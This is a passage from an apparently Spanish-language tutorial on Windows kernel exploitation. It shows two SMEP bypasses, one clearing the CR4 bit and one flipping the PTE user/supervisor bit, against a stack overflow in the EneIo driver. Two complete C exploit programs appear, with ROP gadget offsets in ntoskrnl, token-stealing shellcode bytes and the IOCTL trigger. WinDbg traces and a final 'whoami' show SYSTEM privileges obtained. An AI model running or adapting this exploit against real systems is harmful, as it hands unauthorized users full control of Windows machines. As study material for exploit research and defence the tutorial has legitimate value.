fffff806`2b000000 fffff806`2c046000 nt (pdb symbols)
CR4 Method
Para el primer método vamos a entender que es lo que activa el SMEP, el bit 20 del registro cr4 controla la protección, si el bit es 1 está encendido, si es 0 apagado, desde el debugger podemos encontrar que en nuestra máquina si está encendido.
0: kd> .formats cr4
Evaluate expression:
Hex: 00000000`00350ef8
Decimal: 3477240
Decimal (unsigned) : 3477240
Octal: 0000000000000015207370
Binary: 00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
Chars: .....5..
Time: Mon Feb 9 23:54:00 1970
Float: low 4.87265e-039 high 0
Double: 1.71798e-317
El valor actual de cr4 es 0x350ef8, pero si apagamos el bit 20 se convierte a 0x250ef8, por lo que podemos hacer rop para darle ese valor y desactivar SMEP.
0: kd> ? cr4 ^ (1 << 0n20)
Evaluate expression: 2428664 = 00000000`00250ef8
Para cambiar el valor del registro podemos usar los siguientes 2 gadgets dentro de nt, el primero guarda un valor en rcx y el segundo mueve el valor de rcx a cr4.
(ntoskrnl.exe/PE/x86_64)> search pop rcx; ret;
[INFO] Searching for gadgets: pop rcx; ret;
[INFO] File: ntoskrnl.exe
0x00000000002079ac: pop rcx; ret;
(ntoskrnl.exe/PE/x86_64)> search mov cr4, rcx; ret;
[INFO] Searching for gadgets: mov cr4, rcx; ret;
[INFO] File: ntoskrnl.exe
0x00000000003a0397: mov cr4, rcx; ret;
(ntoskrnl.exe/PE/x86_64)>
Entonces, luego de rellenar el buffer con A's sobrescribiremos el retorno con una cadena rop, guarda en rcx el valor del registro cr4 con el bit 20 apagado, luego sobrescribe el registro cr4 actual y finalmente solo retorna a nuestro shellcode.
QWORD *rop = (QWORD *) ((QWORD) payload + 56);
*rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) 0x250ef8; // SMEP bit off (20)
*rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
*rop++ = (QWORD) shellcode; // token stealing
Luego de ejecutar el shellcode al retornar continuaremos la cadena rop, guardamos en rcx el valor del registro cr4 ahora con el bit 20 encendido y lo restauramos.
*rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) 0x350ef8; // SMEP bit on (20)
*rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
Antes vimos que hay una dirección de retorno válida 0x38 bytes adelante del rsp, considerando el primer gadget como el retorno solo hemos añadido 0x30 bytes así que tenemos 2 opciones, en el shellcode ejecutamos un add rsp, 0x8 o solo en la cadena rop ejecutamos un gadget que ejecute ret; para saltar al siguiente qword.
(ntoskrnl.exe/PE/x86_64)> search ret;
[INFO] Searching for gadgets: ret;
[INFO] File: ntoskrnl.exe
0x000000000020003e: ret;
(ntoskrnl.exe/PE/x86_64)>
*rop++ = (QWORD) kernelBase + 0x20003e; // ret;
Nuestro exploit final se ve de la siguiente manera, a través del Buffer Overflow sobrescribe el stack con una cadena rop que apaga el bit 20 del registro cr4 y desactiva SMEP, luego ejecuta el shellcode y al terminar solo lo vuelve a activar.
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG
BYTE tokenStealing[60] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188] ; $rdx = _KTHREAD
0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, // mov rax, [rdx + 0xb8] ; $rax = _EPROCESS
0x50, 0x5b, // mov rbx, rax ; $rbx = _EPROCESS
// .loop:
0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00, // mov rbx, [rbx + 0x448] ; $rbx = ActiveProcessLinks
0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, // sub rbx, 0x448 ; $rbx = _EPROCESS
0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04, // cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
0x75, 0xe8, // jnz .loop ; if zf == 0 -> loop
0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00, // mov rcx, [rbx + 0x4b8] ; $rcx = SYSTEM token
0x80, 0xe1, 0xf0, // and cl, 0xf0 ; clear _EX_FAST_REF struct
0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00, // mov [rax + 0x4b8], rcx ; store SYSTEM token in _EPROCESS
0xc3 // ret ; return
};
QWORD GetKernelBase() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (QWORD) drivers[0];
}
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
LPVOID payload = VirtualAlloc(NULL, 120, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(payload, 56, 'A');
RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));
QWORD kernelBase = GetKernelBase();
QWORD *rop = (QWORD *) ((QWORD) payload + 56);
*rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) 0x250ef8; // SMEP bit off (20)
*rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
*rop++ = (QWORD) shellcode; // token stealing
*rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) 0x350ef8; // SMEP bit on (20)
*rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
*rop++ = (QWORD) kernelBase + 0x20003e; // ret;
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 120, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
system("cmd.exe");
return 0;
}
Entonces, ejecutamos el exploit y llegamos al breakpoint, ahora al llegar al ret vulnerable revisamos el stack y podemos ver que retornará a la cadena rop.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff806`2fc314b8 c3 ret
0: kd> dqs rsp L8
ffffa089`1e8997e8 fffff806`2b2079ac nt!KiSetAddressPolicy+0x1c
ffffa089`1e8997f0 00000000`00250ef8
ffffa089`1e8997f8 fffff806`2b3a0397 nt!KeFlushCurrentTbImmediately+0x17
ffffa089`1e899800 000001ff`39e00000
ffffa089`1e899808 fffff806`2b2079ac nt!KiSetAddressPolicy+0x1c
ffffa089`1e899810 00000000`00350ef8
ffffa089`1e899818 fffff806`2b3a0397 nt!KeFlushCurrentTbImmediately+0x17
ffffa089`1e899820 fffff806`2b20003e nt!VrpOriginalKeyNameParameterCleanup+0x2e
Empezamos a ejecutar la cadena, primero guarda en rcx con un pop el valor del nuevo cr4 y lo mueve usando un mov, al hacerlo el SMEP estará desactivado.
0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`2b2079ac 59 pop rcx
0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`2b2079ad c3 ret
0: kd> r rcx
rcx=0000000000250ef8
0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`2b3a0397 0f22e1 mov cr4,rcx
0: kd> p
000001ff`39e00000 65488b142588010000 mov rdx,qword ptr gs:[188h]
0: kd> r cr4
cr4=0000000000250ef8
Ahora estamos en el inicio del shellcode, si saltamos hasta el ret podemos ver que se ejecuta sin activar SMEP, al terminar en el stack continúa nuestra cadena rop.
0: kd> u rip L0xc
000001ff`39e00000 65488b142588010000 mov rdx,qword ptr gs:[188h]
000001ff`39e00009 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
000001ff`39e00010 50 push rax
000001ff`39e00011 5b pop rbx
000001ff`39e00012 488b9b48040000 mov rbx,qword ptr [rbx+448h]
000001ff`39e00019 4881eb48040000 sub rbx,448h
000001ff`39e00020 4883bb4004000004 cmp qword ptr [rbx+440h],4
000001ff`39e00028 75e8 jne 000001ff`39e00012
000001ff`39e0002a 488b8bb8040000 mov rcx,qword ptr [rbx+4B8h]
000001ff`39e00031 80e1f0 and cl,0F0h
000001ff`39e00034 488988b8040000 mov qword ptr [rax+4B8h],rcx
000001ff`39e0003b c3 ret
0: kd> pt
000001ff`39e0003b c3 ret
0: kd> dqs rsp L5
ffffa089`1e899808 fffff806`2b2079ac nt!KiSetAddressPolicy+0x1c
ffffa089`1e899810 00000000`00350ef8
ffffa089`1e899818 fffff806`2b3a0397 nt!KeFlushCurrentTbImmediately+0x17
ffffa089`1e899820 fffff806`2b20003e nt!VrpOriginalKeyNameParameterCleanup+0x2e
ffffa089`1e899828 fffff806`2b64c801 nt!IopSynchronousServiceTail+0x361
Después de ejecutar el shellcode continuamos la cadena rop que restaura el cr4.
0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`2b2079ac 59 pop rcx
0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`2b2079ad c3 ret
0: kd> r rcx
rcx=0000000000350ef8
0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`2b3a0397 0f22e1 mov cr4,rcx
0: kd> p
nt!VrpOriginalKeyNameParameterCleanup+0x2e:
fffff806`2b20003e c3 ret
0: kd> r cr4
cr4=0000000000350ef8
En el ret final podemos ver que retornará a la instrucción dentro de la función IopSynchronousServiceTail saliendo correctamente de la llamada al driver, esto lo comprobamos ya que si continuamos la ejecución continúa sin llegar a corromper.
0: kd> dqs rsp L1
ffffa089`1e899828 fffff806`2b64c801 nt!IopSynchronousServiceTail+0x361
0: kd> g
Debuggee is running...
Solo nos queda probarlo fuera del debugger, al hacerlo podemos ver que hicimos bypass de la protección SMEP y conseguimos una shell como nt authority\system.
C:\Users\user\Desktop> whoami
windows\user
C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user\Desktop> whoami
nt authority\system
C:\Users\user\Desktop>
PTE Method
Para nuestro segundo método es necesario entender algunas cosas, las direcciones virtuales pasan por un proceso de traducción para obtener la dirección física real a través de tablas, estas establecen cosas como bits de permisos y protecciones.
Resulta que de acuerdo a investigaciones la protección SMEP solo trabaja cuando la página es marcada como memoria en espacio de usuario, pero si el bit 2 que representa U/S de la PTE está deshabilitado tratará la página como espacio en memoria de tipo kernel por lo que ni siquiera debería molestarse en verificarlo.
Volvamos al exploit inicial donde en el ret ejecutará el shellcode, si buscamos la PTE de la dirección de nuestro shellcode se encuentra en 0xffffca0129b10f00.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff801`47ac14b8 c3 ret
0: kd> !pte poi(rsp)
VA 00000253621e0000
PXE at FFFFCA6532994020 PPE at FFFFCA6532804A68 PDE at FFFFCA650094D880 PTE at FFFFCA0129B10F00
contains 0A000001BB56F867 contains 0A000001BF970867 contains 0A000001BC371867 contains 00000001BF6CD867
pfn 1bb56f ---DA--UWEV pfn 1bf970 ---DA--UWEV pfn 1bc371 ---DA--UWEV pfn 1bf6cd ---DA--UWEV
El único byte que se debería mantener constante es el 0x67, si lo convertimos a formato binario podemos saber cuales de los bits están encendidos o apagados.
0: kd> db 0xffffca0129b10f00 L8
ffffca01`29b10f00 67 d8 6c bf 01 00 00 00 c.l.....
0: kd> .formats 0x67
Evaluate expression:
Hex: 00000000`00000067
Decimal: 103
Decimal (unsigned) : 103
Octal: 0000000000000000000147
Binary: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01100111
Chars: .......g
Time: Wed Dec 31 18:01:43 1969
Float: low 1.44334e-043 high 0
Double: 5.08888e-322
0: kd> ? 0x67 ^ (1 << 2)
Evaluate expression: 99 = 00000000`00000063
De los bits que están prendidos podemos ver al 0 que la página está en memoria física, el bit 1 controla los permisos de escritura, el bit 5 que la página ha sido leída y finalmente el 6 que la página ha sido escrita, en realidad solo nos interesa el 2.
Si cambiamos el byte de 0x67 a 0x63 entonces apagaremos el bit U/S que indica memoria de usuario por lo que en la PTE estará marcada como memoria de kernel.
0: kd> eb 0xffffca0129b10f00 0x63
0: kd> !pte poi(rsp)
VA 00000253621e0000
PXE at FFFFCA6532994020 PPE at FFFFCA6532804A68 PDE at FFFFCA650094D880 PTE at FFFFCA0129B10F00
contains 0A000001BB56F867 contains 0A000001BF970867 contains 0A000001BC371867 contains 00000001BF6CD863
pfn 1bb56f ---DA--UWEV pfn 1bf970 ---DA--UWEV pfn 1bc371 ---DA--UWEV pfn 1bf6cd ---DA--KWEV
Para obtener la PTE de la página donde se encuentra el shellcode podemos usar la función MiGetPteAddress que se encuentra en el offset 0x298780 a partir de nt.
Nuestra cadena rop inicia guardando en el registro rcx la dirección de nuestro shellcode para usarlo como argumento, luego llama a la función MiGetPteAddress, esta devuelve en el registro rax la dirección de la PTE de nuestro shellcode.
*rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) shellcode; // Token Stealing
*rop++ = kernelBase + 0x298780; // MiGetPteAddress
Luego guarda en rcx el byte con el bit U/S apagado, finalmente mueve a [rax] el valor del registro cl que contiene byte que sobrescribe el 0x67 original por 0x63.
*rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = 0x63; // U/S bit off (2)
*rop++ = kernelBase + 0x49cadd; // mov byte ptr [rax], cl; ret;
Como estamos modificando las tablas de paginación, usaremos el gadget wbinvd para invalidar las TLB y carga de nuevo las tablas evitando así un posible BSOD, finalmente para terminar la cadena rop simplemente retornaremos al shellcode.
*rop++ = kernelBase + 0x381b30; // wbinvd; ret;
*rop++ = (QWORD) shellcode; // Token Stealing
Nuestro exploit final se ve de la siguiente manera, a través del Buffer Overflow sobrescribe el stack con una cadena rop que apaga el bit 2 de la PTE, ahora el shellcode se marcará como memoria de kernel y al ejecutarlo no invocará a SMEP.
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG
BYTE tokenStealing[60] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188] ; $rdx = _KTHREAD
0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00, // mov rax, [rdx + 0xb8] ; $rax = _EPROCESS
0x50, 0x5b, // mov rbx, rax ; $rbx = _EPROCESS
// .loop:
0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00, // mov rbx, [rbx + 0x448] ; $rbx = ActiveProcessLinks
0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00, // sub rbx, 0x448 ; $rbx = _EPROCESS
0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04, // cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
0x75, 0xe8, // jnz .loop ; if zf == 0 -> loop
0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00, // mov rcx, [rbx + 0x4b8] ; $rcx = SYSTEM token
0x80, 0xe1, 0xf0, // and cl, 0xf0 ; clear _EX_FAST_REF struct
0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00, // mov [rax + 0x4b8], rcx ; store SYSTEM token in _EPROCESS
0xc3 // ret ; return
};
QWORD GetKernelBase() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (QWORD) drivers[0];
}
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
LPVOID payload = VirtualAlloc(NULL, 120, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlFillMemory(payload, 56, 'A');
RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));
QWORD kernelBase = GetKernelBase();
QWORD *rop = (QWORD *) ((QWORD) payload + 56);
*rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) shellcode; // Token Stealing
*rop++ = kernelBase + 0x298780; // MiGetPteAddress
*rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = 0x63; // U/S bit off (2)
*rop++ = kernelBase + 0x49cadd; // mov byte ptr [rax], cl; ret;
*rop++ = kernelBase + 0x381b30; // wbinvd; ret;
*rop++ = (QWORD) shellcode; // Token Stealing
DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 120, NULL, 0, NULL, NULL);
CloseHandle(hDevice);
system("cmd.exe");
return 0;
}
Entonces, ejecutamos el exploit y llegamos al breakpoint, ahora al llegar al ret vulnerable revisamos el stack y podemos ver que retornará a la cadena rop.
0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff805`5fe014b8 c3 ret
0: kd> dqs rsp L8
ffff8b09`b75b17e8 fffff805`5ba079ac nt!KiSetAddressPolicy+0x1c
ffff8b09`b75b17f0 0000022d`67550000
ffff8b09`b75b17f8 fffff805`5ba98780 nt!MiGetPteAddress
ffff8b09`b75b1800 fffff805`5ba079ac nt!KiSetAddressPolicy+0x1c
ffff8b09`b75b1808 00000000`00000063
ffff8b09`b75b1810 fffff805`5bc9cadd nt!KiPrepareFlushParameters+0x10c4b1
ffff8b09`b75b1818 fffff805`5bb81b30 nt!HalpAcpiFlushCache
ffff8b09`b75b1820 0000022d`67550000
Empezamos a ajecutar el rop, la primera parte guarda la dirección de shellcode en rcx, luego empieza a ejecutar la función MiGetPteAddress dentro del módulo nt.
0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff805`5ba079ac 59 pop rcx
0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff805`5ba079ad c3 ret
0: kd> u rcx L0xc
0000022d`67550000 65488b142588010000 mov rdx,qword ptr gs:[188h]
0000022d`67550009 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
0000022d`67550010 50 push rax
0000022d`67550011 5b pop rbx
0000022d`67550012 488b9b48040000 mov rbx,qword ptr [rbx+448h]
0000022d`67550019 4881eb48040000 sub rbx,448h
0000022d`67550020 4883bb4004000004 cmp qword ptr [rbx+440h],4
0000022d`67550028 75e8 jne 0000022d`67550012
0000022d`6755002a 488b8bb8040000 mov rcx,qword ptr [rbx+4B8h]
0000022d`67550031 80e1f0 and cl,0F0h
0000022d`67550034 488988b8040000 mov qword ptr [rax+4B8h],rcx
0000022d`6755003b c3 ret
0: kd> p
nt!MiGetPteAddress:
fffff805`5ba98780 48c1e909 shr rcx,9
Al terminar de ejecutar la función y llegar al ret, en el registro rax se guardará la dirección de la PTE del shellcode, podemos comprobarlo usando el comando !pte, la PTE por ahora está marcada con U indicando que es espacio de modo usuario.
0: kd> pt
nt!MiGetPteAddress+0x1e:
fffff805`5ba9879e c3 ret
0: kd> !pte 0x22d67550000
VA 0000022d67550000
PXE at FFFF88C462311020 PPE at FFFF88C4622045A8 PDE at FFFF88C4408B59D0 PTE at FFFF888116B3AA80
contains 0A000001F9441867 contains 0A000001F9442867 contains 0A000001F9443867 contains 00000001F7D9E867
pfn 1f9441 ---DA--UWEV pfn 1f9442 ---DA--UWEV pfn 1f9443 ---DA--UWEV pfn 1f7d9e ---DA--UWEV
0: kd> db rax L8
ffff8881`16b3aa80 67 e8 d9 f7 01 00 00 00 g.......
Si saltamos al último gadget podemos ver 2 cosas interesantes, la primera es que la siguiente instrucción retornará al shellcode y la segunda y más interesante es que ahora la PTE está marcada con una K indicando que es memoria de kernel.
0: kd> g nt + 0x381b30
nt!HalpAcpiFlushCache:
fffff805`5bb81b30 0f09 wbinvd
0: kd> u poi(rsp) L0xc
0000022d`67550000 65488b142588010000 mov rdx,qword ptr gs:[188h]
0000022d`67550009 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
0000022d`67550010 50 push rax
0000022d`67550011 5b pop rbx
0000022d`67550012 488b9b48040000 mov rbx,qword ptr [rbx+448h]
0000022d`67550019 4881eb48040000 sub rbx,448h
0000022d`67550020 4883bb4004000004 cmp qword ptr [rbx+440h],4
0000022d`67550028 75e8 jne 0000022d`67550012
0000022d`6755002a 488b8bb8040000 mov rcx,qword ptr [rbx+4B8h]
0000022d`67550031 80e1f0 and cl,0F0h
0000022d`67550034 488988b8040000 mov qword ptr [rax+4B8h],rcx
0000022d`6755003b c3 ret
0: kd> !pte poi(rsp)
VA 0000022d67550000
PXE at FFFF88C462311020 PPE at FFFF88C4622045A8 PDE at FFFF88C4408B59D0 PTE at FFFF888116B3AA80
contains 0A000001F9441867 contains 0A000001F9442867 contains 0A000001F9443867 contains 00000001F7D9E863
pfn 1f9441 ---DA--UWEV pfn 1f9442 ---DA--UWEV pfn 1f9443 ---DA--UWEV pfn 1f7d9e ---DA--KWEV
Luego de ejecutar el shellcode sin errores, retornará a la instrucción dentro de la función IopSynchronousServiceTail saliendo correctamente de la llamada al driver, esto lo comprobamos ya que si continuamos la ejecución continúa sin corromper.
0: kd> p
0000022d`67550000 65488b142588010000 mov rdx,qword ptr gs:[188h]
0: kd> pt
0000022d`6755003b c3 ret
0: kd> dqs rsp L1
ffff8b09`b75b1828 fffff805`5be4c801 nt!IopSynchronousServiceTail+0x361
0: kd> g
Debuggee is running...
Solo nos queda probarlo fuera del debugger, al hacerlo podemos ver que hicimos bypass de la protección SMEP y conseguimos una shell como nt authority\system.
C:\Users\user\Desktop> whoami
windows\user
C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user\Desktop> whoami
nt authority\system
C:\Users\user\Desktop>